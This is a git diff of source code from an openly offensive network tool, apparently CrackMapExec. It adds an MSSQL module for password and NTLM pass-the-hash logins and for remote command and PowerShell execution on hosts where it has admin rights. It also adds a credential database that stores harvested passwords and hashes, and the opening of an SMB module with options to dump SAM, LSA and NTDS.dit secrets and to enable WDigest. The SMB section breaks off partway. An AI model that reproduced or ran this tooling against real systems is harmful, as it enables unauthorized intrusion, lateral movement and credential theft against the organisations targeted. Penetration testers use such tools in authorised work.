|
||||||
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
|
||||||
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
|
|
||||||
if record['OldValue'] == '':
|
|
||||||
record['OldValue'] = 'None'.encode('utf-16le')
|
|
||||||
elif record['NewValue'] == '':
|
|
||||||
record['NewValue'] = 'None'.encode('utf-16le')
|
|
||||||
if key['Type'] == TDS_ENVCHANGE_DATABASE:
|
|
||||||
_type = 'DATABASE'
|
|
||||||
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
|
|
||||||
_type = 'LANGUAGE'
|
|
||||||
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
|
|
||||||
_type = 'CHARSET'
|
|
||||||
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
|
|
||||||
_type = 'PACKETSIZE'
|
|
||||||
else:
|
|
||||||
_type = "%d" % key['Type']
|
|
||||||
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
|
|
||||||
|
|
||||||
tds.MSSQL.printReplies = printRepliesCME
|
|
||||||
tds.MSSQL.printRows = printRowsCME
|
|
|
@ -0,0 +1,244 @@
|
||||||
|
import socket
|
||||||
|
import logging
|
||||||
|
from cme.logger import CMEAdapter
|
||||||
|
from StringIO import StringIO
|
||||||
|
from cme.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||||
|
from cme.connection import *
|
||||||
|
from cme.helpers.logger import highlight
|
||||||
|
from cme.helpers.powershell import create_ps_command
|
||||||
|
from impacket import tds
|
||||||
|
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
|
||||||
|
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
|
||||||
|
|
||||||
|
class mssql(connection):
|
||||||
|
def __init__(self, args, db, host):
|
||||||
|
self.mssql_instances = None
|
||||||
|
self.domain = None
|
||||||
|
self.hash = None
|
||||||
|
|
||||||
|
connection.__init__(self, args, db , host)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def proto_args(parser, std_parser, module_parser):
|
||||||
|
mssql_parser = parser.add_parser('mssql', help="Own stuff using MSSQL and/or Active Directory", parents=[std_parser, module_parser])
|
||||||
|
dgroup = mssql_parser.add_mutually_exclusive_group()
|
||||||
|
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
||||||
|
dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
|
||||||
|
mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||||
|
mssql_parser.add_argument("--port", default=1433, type=int, dest='mssql_port', metavar='PORT', help='MSSQL port (default: 1433)')
|
||||||
|
mssql_parser.add_argument("-q", "--query", metavar='QUERY', type=str, help='Execute the specified query against the MSSQL DB')
|
||||||
|
mssql_parser.add_argument("-a", "--auth-type", dest='mssql_auth', choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)')
|
||||||
|
|
||||||
|
cgroup = mssql_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||||
|
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
|
||||||
|
cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
|
||||||
|
xgroup = cgroup.add_mutually_exclusive_group()
|
||||||
|
xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
|
||||||
|
xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')
|
||||||
|
|
||||||
|
return parser
|
||||||
|
|
||||||
|
def proto_logger(self):
|
||||||
|
self.logger = CMEAdapter(extra={
|
||||||
|
'protocol': 'MSSQL',
|
||||||
|
'host': self.host,
|
||||||
|
'port': self.args.mssql_port,
|
||||||
|
'hostname': u'{}'.format(self.hostname)
|
||||||
|
})
|
||||||
|
|
||||||
|
def enum_host_info(self):
|
||||||
|
|
||||||
|
self.mssql_instances = self.conn.getInstances(10)
|
||||||
|
|
||||||
|
if len(self.mssql_instances) > 0:
|
||||||
|
for i, instance in enumerate(self.mssql_instances):
|
||||||
|
for key in instance.keys():
|
||||||
|
if key.lower() == 'servername':
|
||||||
|
self.hostname = instance[key]
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.conn.disconnect()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if self.args.domain:
|
||||||
|
self.domain = self.args.domain
|
||||||
|
|
||||||
|
if self.args.local_auth:
|
||||||
|
self.domain = self.hostname
|
||||||
|
|
||||||
|
self.create_conn_obj()
|
||||||
|
|
||||||
|
def print_host_info(self):
|
||||||
|
if len(self.mssql_instances) > 0:
|
||||||
|
self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
|
||||||
|
for i, instance in enumerate(self.mssql_instances):
|
||||||
|
self.logger.highlight("Instance {}".format(i))
|
||||||
|
for key in instance.keys():
|
||||||
|
self.logger.highlight(key + ":" + instance[key])
|
||||||
|
|
||||||
|
def create_conn_obj(self):
|
||||||
|
try:
|
||||||
|
self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
|
||||||
|
self.conn.connect()
|
||||||
|
except socket.error:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def check_if_admin(self):
|
||||||
|
try:
|
||||||
|
#I'm pretty sure there has to be a better way of doing this.
|
||||||
|
#Currently we are just searching for our user in the sysadmin group
|
||||||
|
|
||||||
|
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
|
||||||
|
query_output = self.conn.printRows()
|
||||||
|
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
|
||||||
|
self.admin_privs = True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def plaintext_login(self, domain, username, password):
|
||||||
|
res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
|
||||||
|
if res is not True:
|
||||||
|
self.conn.printReplies()
|
||||||
|
return False
|
||||||
|
|
||||||
|
self.password = password
|
||||||
|
self.username = username
|
||||||
|
self.domain = domain
|
||||||
|
self.check_if_admin()
|
||||||
|
self.db.add_credential('plaintext', domain, username, password)
|
||||||
|
|
||||||
|
if self.admin_privs:
|
||||||
|
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
|
||||||
|
|
||||||
|
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
|
||||||
|
username.decode('utf-8'),
|
||||||
|
password.decode('utf-8'),
|
||||||
|
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||||
|
|
||||||
|
self.logger.success(out)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def hash_login(self, domain, username, ntlm_hash):
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
|
||||||
|
#This checks to see if we didn't provide the LM Hash
|
||||||
|
if ntlm_hash.find(':') != -1:
|
||||||
|
lmhash, nthash = ntlm_hash.split(':')
|
||||||
|
else:
|
||||||
|
nthash = ntlm_hash
|
||||||
|
|
||||||
|
res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
|
||||||
|
if res is not True:
|
||||||
|
self.conn.printReplies()
|
||||||
|
return False
|
||||||
|
|
||||||
|
self.hash = ntlm_hash
|
||||||
|
self.username = username
|
||||||
|
self.domain = domain
|
||||||
|
self.check_if_admin()
|
||||||
|
self.db.add_credential('hash', domain, username, ntlm_hash)
|
||||||
|
|
||||||
|
if self.admin_privs:
|
||||||
|
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
|
||||||
|
|
||||||
|
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
|
||||||
|
username.decode('utf-8'),
|
||||||
|
ntlm_hash,
|
||||||
|
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||||
|
|
||||||
|
self.logger.success(out)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def mssql_query(self):
|
||||||
|
self.conn.sql_query(self.args.mssql_query)
|
||||||
|
return conn.printRows()
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def execute(self, payload=None, get_output=False):
|
||||||
|
if not payload and self.args.execute:
|
||||||
|
payload = self.args.execute
|
||||||
|
if not self.args.no_output: get_output = True
|
||||||
|
|
||||||
|
exec_method = MSSQLEXEC(self.conn)
|
||||||
|
logging.debug('Executed command via mssqlexec')
|
||||||
|
|
||||||
|
if self.cmeserver: self.cmeserver.track_host(self.host)
|
||||||
|
|
||||||
|
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
|
||||||
|
|
||||||
|
if self.args.execute or self.args.ps_execute:
|
||||||
|
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||||
|
buf = StringIO(output).readlines()
|
||||||
|
for line in buf:
|
||||||
|
self.logger.highlight(line.strip())
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def ps_execute(self, payload=None, get_output=False):
|
||||||
|
if not payload and self.args.ps_execute:
|
||||||
|
payload = self.args.ps_execute
|
||||||
|
if not self.args.no_output: get_output = True
|
||||||
|
|
||||||
|
return self.execute(create_ps_command(payload), get_output)
|
||||||
|
|
||||||
|
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||||
|
#The whole tds library in impacket needs a good overhaul to preserve my sanity
|
||||||
|
|
||||||
|
def printRowsCME(self):
|
||||||
|
if self.lastError is True:
|
||||||
|
return
|
||||||
|
out = ''
|
||||||
|
self.processColMeta()
|
||||||
|
#self.printColumnsHeader()
|
||||||
|
for row in self.rows:
|
||||||
|
for col in self.colMeta:
|
||||||
|
if row[col['Name']] != 'NULL':
|
||||||
|
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
|
||||||
|
|
||||||
|
return out
|
||||||
|
|
||||||
|
def printRepliesCME(self):
|
||||||
|
for keys in self.replies.keys():
|
||||||
|
for i, key in enumerate(self.replies[keys]):
|
||||||
|
if key['TokenType'] == TDS_ERROR_TOKEN:
|
||||||
|
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
|
||||||
|
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
||||||
|
self._MSSQL__rowsPrinter.error(error)
|
||||||
|
|
||||||
|
elif key['TokenType'] == TDS_INFO_TOKEN:
|
||||||
|
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
||||||
|
|
||||||
|
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
|
||||||
|
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
|
||||||
|
|
||||||
|
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
|
||||||
|
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||||
|
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
|
||||||
|
if record['OldValue'] == '':
|
||||||
|
record['OldValue'] = 'None'.encode('utf-16le')
|
||||||
|
elif record['NewValue'] == '':
|
||||||
|
record['NewValue'] = 'None'.encode('utf-16le')
|
||||||
|
if key['Type'] == TDS_ENVCHANGE_DATABASE:
|
||||||
|
_type = 'DATABASE'
|
||||||
|
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
|
||||||
|
_type = 'LANGUAGE'
|
||||||
|
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
|
||||||
|
_type = 'CHARSET'
|
||||||
|
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
|
||||||
|
_type = 'PACKETSIZE'
|
||||||
|
else:
|
||||||
|
_type = "%d" % key['Type']
|
||||||
|
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
|
||||||
|
|
||||||
|
tds.MSSQL.printReplies = printRepliesCME
|
||||||
|
tds.MSSQL.printRows = printRowsCME
|
|
@ -1,8 +1,34 @@
|
||||||
class CMEDatabase:
|
class database:
|
||||||
|
|
||||||
def __init__(self, conn):
|
def __init__(self, conn):
|
||||||
self.conn = conn
|
self.conn = conn
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def db_schema(db_conn):
|
||||||
|
db_conn.execute('''CREATE TABLE "hosts" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"ip" text,
|
||||||
|
"hostname" text,
|
||||||
|
"domain" text,
|
||||||
|
"os" text
|
||||||
|
)''')
|
||||||
|
|
||||||
|
#This table keeps track of which credential has admin access over which machine and vice-versa
|
||||||
|
db_conn.execute('''CREATE TABLE "links" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"credid" integer,
|
||||||
|
"hostid" integer
|
||||||
|
)''')
|
||||||
|
|
||||||
|
# type = hash, plaintext
|
||||||
|
db_conn.execute('''CREATE TABLE "credentials" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"credtype" text,
|
||||||
|
"domain" text,
|
||||||
|
"username" text,
|
||||||
|
"password" text
|
||||||
|
)''')
|
||||||
|
|
||||||
def add_host(self, ip, hostname, domain, os):
|
def add_host(self, ip, hostname, domain, os):
|
||||||
"""
|
"""
|
||||||
Check if this host has already been added to the database, if not add it in.
|
Check if this host has already been added to the database, if not add it in.
|
||||||
|
@ -17,7 +43,7 @@ class CMEDatabase:
|
||||||
|
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
def add_credential(self, credtype, domain, username, password, pillaged_from=-1):
|
def add_credential(self, credtype, domain, username, password):
|
||||||
"""
|
"""
|
||||||
Check if this credential has already been added to the database, if not add it in.
|
Check if this credential has already been added to the database, if not add it in.
|
||||||
"""
|
"""
|
||||||
|
@ -27,7 +53,7 @@ class CMEDatabase:
|
||||||
results = cur.fetchall()
|
results = cur.fetchall()
|
||||||
|
|
||||||
if not len(results):
|
if not len(results):
|
||||||
cur.execute("INSERT INTO credentials (credtype, domain, username, password, pillagedfrom) VALUES (?,?,?,?,?)", [credtype, domain, username, password, pillaged_from] )
|
cur.execute("INSERT INTO credentials (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password] )
|
||||||
|
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
@ -70,7 +96,7 @@ class CMEDatabase:
|
||||||
|
|
||||||
if credID:
|
if credID:
|
||||||
cur.execute("SELECT * from links WHERE credid=?", [credID])
|
cur.execute("SELECT * from links WHERE credid=?", [credID])
|
||||||
|
|
||||||
elif hostID:
|
elif hostID:
|
||||||
cur.execute("SELECT * from links WHERE hostid=?", [hostID])
|
cur.execute("SELECT * from links WHERE hostid=?", [hostID])
|
||||||
|
|
||||||
|
@ -85,7 +111,7 @@ class CMEDatabase:
|
||||||
if credIDs:
|
if credIDs:
|
||||||
for credID in credIDs:
|
for credID in credIDs:
|
||||||
cur.execute("DELETE FROM links WHERE credid=?", [credID])
|
cur.execute("DELETE FROM links WHERE credid=?", [credID])
|
||||||
|
|
||||||
elif hostIDs:
|
elif hostIDs:
|
||||||
for hostID in hostIDs:
|
for hostID in hostIDs:
|
||||||
cur.execute("DELETE FROM links WHERE hostid=?", [hostID])
|
cur.execute("DELETE FROM links WHERE hostid=?", [hostID])
|
||||||
|
@ -121,7 +147,7 @@ class CMEDatabase:
|
||||||
elif filterTerm and filterTerm != "":
|
elif filterTerm and filterTerm != "":
|
||||||
cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
|
cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
|
||||||
|
|
||||||
# otherwise return all credentials
|
# otherwise return all credentials
|
||||||
else:
|
else:
|
||||||
cur.execute("SELECT * FROM credentials")
|
cur.execute("SELECT * FROM credentials")
|
||||||
|
|
||||||
|
@ -154,10 +180,10 @@ class CMEDatabase:
|
||||||
elif filterTerm and filterTerm != "":
|
elif filterTerm and filterTerm != "":
|
||||||
cur.execute("SELECT * FROM hosts WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())])
|
cur.execute("SELECT * FROM hosts WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())])
|
||||||
|
|
||||||
# otherwise return all credentials
|
# otherwise return all credentials
|
||||||
else:
|
else:
|
||||||
cur.execute("SELECT * FROM hosts")
|
cur.execute("SELECT * FROM hosts")
|
||||||
|
|
||||||
results = cur.fetchall()
|
results = cur.fetchall()
|
||||||
cur.close()
|
cur.close()
|
||||||
return results
|
return results
|
|
@ -0,0 +1,231 @@
|
||||||
|
import cmd
|
||||||
|
from cme.protocols.mssql.database import database
|
||||||
|
|
||||||
|
class navigator(cmd.Cmd):
|
||||||
|
def __init__(self, main_menu):
|
||||||
|
cmd.Cmd.__init__(self)
|
||||||
|
|
||||||
|
self.main_menu = main_menu
|
||||||
|
self.config = main_menu.config
|
||||||
|
self.db = database(main_menu.conn)
|
||||||
|
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'mssql')
|
||||||
|
|
||||||
|
def do_back(self, line):
|
||||||
|
raise
|
||||||
|
|
||||||
|
def display_creds(self, creds):
|
||||||
|
|
||||||
|
print "\nCredentials:\n"
|
||||||
|
print " CredID Admin On CredType Domain UserName Password"
|
||||||
|
print " ------ -------- -------- ------ -------- --------"
|
||||||
|
|
||||||
|
for cred in creds:
|
||||||
|
# (id, credtype, domain, username, password, host, notes, sid)
|
||||||
|
credID = cred[0]
|
||||||
|
credType = cred[1]
|
||||||
|
domain = cred[2]
|
||||||
|
username = cred[3]
|
||||||
|
password = cred[4]
|
||||||
|
|
||||||
|
links = self.db.get_links(credID=credID)
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
|
||||||
|
'{:<13}'.format(str(len(links)) + ' Host(s)'),
|
||||||
|
'{:<12}'.format(credType),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
u'{:<21}'.format(username.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(password.decode('utf-8')))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def display_hosts(self, hosts):
|
||||||
|
|
||||||
|
print "\nHosts:\n"
|
||||||
|
print " HostID Admins IP Hostname Domain OS"
|
||||||
|
print " ------ ------ -- -------- ------ --"
|
||||||
|
|
||||||
|
for host in hosts:
|
||||||
|
# (id, ip, hostname, domain, os)
|
||||||
|
hostID = host[0]
|
||||||
|
ip = host[1]
|
||||||
|
hostname = host[2]
|
||||||
|
domain = host[3]
|
||||||
|
os = host[4]
|
||||||
|
|
||||||
|
links = self.db.get_links(hostID=hostID)
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
|
||||||
|
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
|
||||||
|
'{:<17}'.format(ip),
|
||||||
|
u'{:<25}'.format(hostname.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
'{:<17}'.format(os))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def do_hosts(self, line):
|
||||||
|
|
||||||
|
filterTerm = line.strip()
|
||||||
|
|
||||||
|
if filterTerm == "":
|
||||||
|
hosts = self.db.get_hosts()
|
||||||
|
self.display_hosts(hosts)
|
||||||
|
|
||||||
|
else:
|
||||||
|
hosts = self.db.get_hosts(filterTerm=filterTerm)
|
||||||
|
|
||||||
|
if len(hosts) > 1:
|
||||||
|
self.display_hosts(hosts)
|
||||||
|
elif len(hosts) == 1:
|
||||||
|
print "\nHost(s):\n"
|
||||||
|
print " HostID IP Hostname Domain OS"
|
||||||
|
print " ------ -- -------- ------ --"
|
||||||
|
|
||||||
|
hostIDList = []
|
||||||
|
|
||||||
|
for host in hosts:
|
||||||
|
hostID = host[0]
|
||||||
|
hostIDList.append(hostID)
|
||||||
|
|
||||||
|
ip = host[1]
|
||||||
|
hostname = host[2]
|
||||||
|
domain = host[3]
|
||||||
|
os = host[4]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
|
||||||
|
'{:<17}'.format(ip),
|
||||||
|
u'{:<25}'.format(hostname.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
'{:<17}'.format(os))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
print "\nCredential(s) with Admin Access:\n"
|
||||||
|
print " CredID CredType Domain UserName Password"
|
||||||
|
print " ------ -------- ------ -------- --------"
|
||||||
|
|
||||||
|
for hostID in hostIDList:
|
||||||
|
links = self.db.get_links(hostID=hostID)
|
||||||
|
|
||||||
|
for link in links:
|
||||||
|
linkID, credID, hostID = link
|
||||||
|
creds = self.db.get_credentials(filterTerm=credID)
|
||||||
|
|
||||||
|
for cred in creds:
|
||||||
|
credID = cred[0]
|
||||||
|
credType = cred[1]
|
||||||
|
domain = cred[2]
|
||||||
|
username = cred[3]
|
||||||
|
password = cred[4]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
|
||||||
|
'{:<12}'.format(credType),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
u'{:<21}'.format(username.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(password.decode('utf-8')))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def do_creds(self, line):
|
||||||
|
|
||||||
|
filterTerm = line.strip()
|
||||||
|
|
||||||
|
if filterTerm == "":
|
||||||
|
creds = self.db.get_credentials()
|
||||||
|
self.display_creds(creds)
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "add":
|
||||||
|
|
||||||
|
# add format: "domain username password <notes> <credType> <sid>
|
||||||
|
args = filterTerm.split()[1:]
|
||||||
|
|
||||||
|
if len(args) == 3:
|
||||||
|
domain, username, password = args
|
||||||
|
if validate_ntlm(password):
|
||||||
|
self.db.add_credential("hash", domain, username, password)
|
||||||
|
else:
|
||||||
|
self.db.add_credential("plaintext", domain, username, password)
|
||||||
|
|
||||||
|
else:
|
||||||
|
print "[!] Format is 'add domain username password"
|
||||||
|
return
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "remove":
|
||||||
|
|
||||||
|
args = filterTerm.split()[1:]
|
||||||
|
if len(args) != 1 :
|
||||||
|
print "[!] Format is 'remove <credID>'"
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
self.db.remove_credentials(args)
|
||||||
|
self.db.remove_links(credIDs=args)
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "plaintext":
|
||||||
|
creds = self.db.get_credentials(credtype="plaintext")
|
||||||
|
self.display_creds(creds)
|
||||||
|
|
||||||
|
elif filterTerm.split()[0].lower() == "hash":
|
||||||
|
creds = self.db.get_credentials(credtype="hash")
|
||||||
|
self.display_creds(creds)
|
||||||
|
|
||||||
|
else:
|
||||||
|
creds = self.db.get_credentials(filterTerm=filterTerm)
|
||||||
|
|
||||||
|
print "\nCredential(s):\n"
|
||||||
|
print " CredID CredType Domain UserName Password"
|
||||||
|
print " ------ -------- ------ -------- --------"
|
||||||
|
|
||||||
|
credIDList = []
|
||||||
|
|
||||||
|
for cred in creds:
|
||||||
|
credID = cred[0]
|
||||||
|
credIDList.append(credID)
|
||||||
|
|
||||||
|
credType = cred[1]
|
||||||
|
domain = cred[2]
|
||||||
|
username = cred[3]
|
||||||
|
password = cred[4]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
|
||||||
|
'{:<12}'.format(credType),
|
||||||
|
u'{:<22}'.format(domain.decode('utf-8')),
|
||||||
|
u'{:<21}'.format(username.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(password.decode('utf-8'))
|
||||||
|
)
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
print "\nAdmin Access to Host(s):\n"
|
||||||
|
print " HostID IP Hostname Domain OS"
|
||||||
|
print " ------ -- -------- ------ --"
|
||||||
|
|
||||||
|
for credID in credIDList:
|
||||||
|
links = self.db.get_links(credID=credID)
|
||||||
|
|
||||||
|
for link in links:
|
||||||
|
linkID, credID, hostID = link
|
||||||
|
hosts = self.db.get_hosts(hostID)
|
||||||
|
|
||||||
|
for host in hosts:
|
||||||
|
hostID = host[0]
|
||||||
|
ip = host[1]
|
||||||
|
hostname = host[2]
|
||||||
|
domain = host[3]
|
||||||
|
os = host[4]
|
||||||
|
|
||||||
|
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
|
||||||
|
'{:<17}'.format(ip),
|
||||||
|
u'{:<25}'.format(hostname.decode('utf-8')),
|
||||||
|
u'{:<17}'.format(domain.decode('utf-8')),
|
||||||
|
'{:<17}'.format(os))
|
||||||
|
|
||||||
|
print ""
|
||||||
|
|
||||||
|
def complete_creds(self, text, line, begidx, endidx):
|
||||||
|
"Tab-complete 'creds' commands."
|
||||||
|
|
||||||
|
commands = [ "add", "remove", "hash", "plaintext"]
|
||||||
|
|
||||||
|
mline = line.partition(' ')[2]
|
||||||
|
offs = len(mline) - len(text)
|
||||||
|
return [s[offs:] for s in commands if s.startswith(mline)]
|
|
@ -0,0 +1,489 @@
|
||||||
|
import socket
|
||||||
|
import os
|
||||||
|
import ntpath
|
||||||
|
from cme.logger import CMEAdapter
|
||||||
|
from StringIO import StringIO
|
||||||
|
from impacket.smbconnection import SMBConnection, SessionError
|
||||||
|
from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
|
||||||
|
from impacket.nmb import NetBIOSError
|
||||||
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||||
|
from cme.connection import *
|
||||||
|
from cme.protocols.smb.wmiexec import WMIEXEC
|
||||||
|
from cme.protocols.smb.atexec import TSCH_EXEC
|
||||||
|
from cme.protocols.smb.smbexec import SMBEXEC
|
||||||
|
from cme.protocols.smb.smbspider import SMBSpider
|
||||||
|
from cme.helpers.logger import highlight
|
||||||
|
from cme.helpers.misc import gen_random_string
|
||||||
|
from cme.helpers.powershell import create_ps_command
|
||||||
|
from pywerview.cli.helpers import *
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class smb(connection):
|
||||||
|
|
||||||
|
def __init__(self, args, db, host):
|
||||||
|
self.domain = None
|
||||||
|
self.server_os = None
|
||||||
|
self.hash = None
|
||||||
|
self.lmhash = ''
|
||||||
|
self.nthash = ''
|
||||||
|
self.remote_ops = None
|
||||||
|
self.bootkey = None
|
||||||
|
self.output_filename = None
|
||||||
|
|
||||||
|
connection.__init__(self, args, db, host)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def proto_args(parser, std_parser, module_parser):
|
||||||
|
smb_parser = parser.add_parser('smb', help="Own stuff using SMB and/or Active Directory", parents=[std_parser, module_parser])
|
||||||
|
smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||||
|
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||||
|
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
||||||
|
dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
|
||||||
|
smb_parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
||||||
|
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)")
|
||||||
|
|
||||||
|
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||||
|
cgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
||||||
|
cgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
|
||||||
|
cgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
||||||
|
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
|
||||||
|
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
|
||||||
|
cgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
|
||||||
|
|
||||||
|
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||||
|
